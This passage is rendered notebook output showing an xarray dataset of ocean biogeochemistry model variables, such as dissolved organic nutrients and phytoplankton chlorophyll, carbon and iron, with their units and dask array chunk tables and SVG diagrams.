y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text 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for='attrs-58e1c021-1395-46ad-a3c6-e8a93d640b83' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7ef7e8ed-dc66-4900-8c2a-479603781216' class='xr-var-data-in' type='checkbox'><label for='data-7ef7e8ed-dc66-4900-8c2a-479603781216' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" 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xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-efac433a-9c7c-4fdd-99b0-300f8ce338a5' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-efac433a-9c7c-4fdd-99b0-300f8ce338a5' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d2d3918c-4fcb-4b9c-8417-a0a76f536df7' class='xr-var-data-in' type='checkbox'><label for='data-d2d3918c-4fcb-4b9c-8417-a0a76f536df7' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " 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class='xr-var-name'><span>DOPr</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-78db671d-b74a-49ee-a3fe-88a96912b648' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-78db671d-b74a-49ee-a3fe-88a96912b648' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-469315a6-cfbe-4c69-b535-30854878a2fe' class='xr-var-data-in' type='checkbox'><label for='data-469315a6-cfbe-4c69-b535-30854878a2fe' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>refractory dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>refractory dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal 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for='data-92b921ee-eb9c-4428-b71f-79ea9d6f3d74' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>refractory dissolved organic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" font-weight=\"100\" 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x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>spChl</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-5e598447-611e-4958-8f60-e3d9b832cd3f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-5e598447-611e-4958-8f60-e3d9b832cd3f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3227993b-fc2f-430a-8d0d-ccdded81d452' class='xr-var-data-in' type='checkbox'><label for='data-3227993b-fc2f-430a-8d0d-ccdded81d452' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton chlorophyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" 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id='attrs-0e4c4e01-1088-449b-8bc5-8d8b442e1614' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-0e4c4e01-1088-449b-8bc5-8d8b442e1614' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-caa993e0-84fc-408b-9100-47a1272bdef2' class='xr-var-data-in' type='checkbox'><label for='data-caa993e0-84fc-408b-9100-47a1272bdef2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 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x2=\"284\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>spP</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-b98183f8-d259-46e8-b144-add367b63253' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b98183f8-d259-46e8-b144-add367b63253' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-2c2667b4-001b-4094-a6cc-8272bae21fba' class='xr-var-data-in' type='checkbox'><label for='data-2c2667b4-001b-4094-a6cc-8272bae21fba' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton phosphorous</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line 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class='xr-var-item'><div class='xr-var-name'><span>spFe</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-88ba2964-78a8-490c-9327-d795243f97ce' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-88ba2964-78a8-490c-9327-d795243f97ce' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0cfd58fe-f221-48c8-8ad1-0c7f964a2caf' class='xr-var-data-in' type='checkbox'><label for='data-0cfd58fe-f221-48c8-8ad1-0c7f964a2caf' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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for='data-0a660ce5-740b-468a-9a51-b6844699aa9a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-6dc3d27e-dbd9-4bb8-925e-2de97df072bb' class='xr-var-data-in' type='checkbox'><label for='data-6dc3d27e-dbd9-4bb8-925e-2de97df072bb' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td 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type='checkbox' ><label for='attrs-8030eb00-5ecc-4b8f-ab18-ce8aa6a6c4db' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-932893fb-188f-4c86-835e-fdcfd60d8c25' class='xr-var-data-in' type='checkbox'><label for='data-932893fb-188f-4c86-835e-fdcfd60d8c25' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", 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xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-91f92a44-9bca-41df-90df-18ae8df61a98' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-91f92a44-9bca-41df-90df-18ae8df61a98' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-cf70ca34-8425-4fc0-901e-a25603db43cd' class='xr-var-data-in' type='checkbox'><label for='data-cf70ca34-8425-4fc0-901e-a25603db43cd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", 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class='xr-var-name'><span>diazChl</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-d5ac0b8a-0003-464e-91e7-89cfc091756e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d5ac0b8a-0003-464e-91e7-89cfc091756e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3647315e-6539-4d20-b694-9f4545ebbcec' class='xr-var-data-in' type='checkbox'><label for='data-3647315e-6539-4d20-b694-9f4545ebbcec' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diazotroph chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>diazotroph carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB 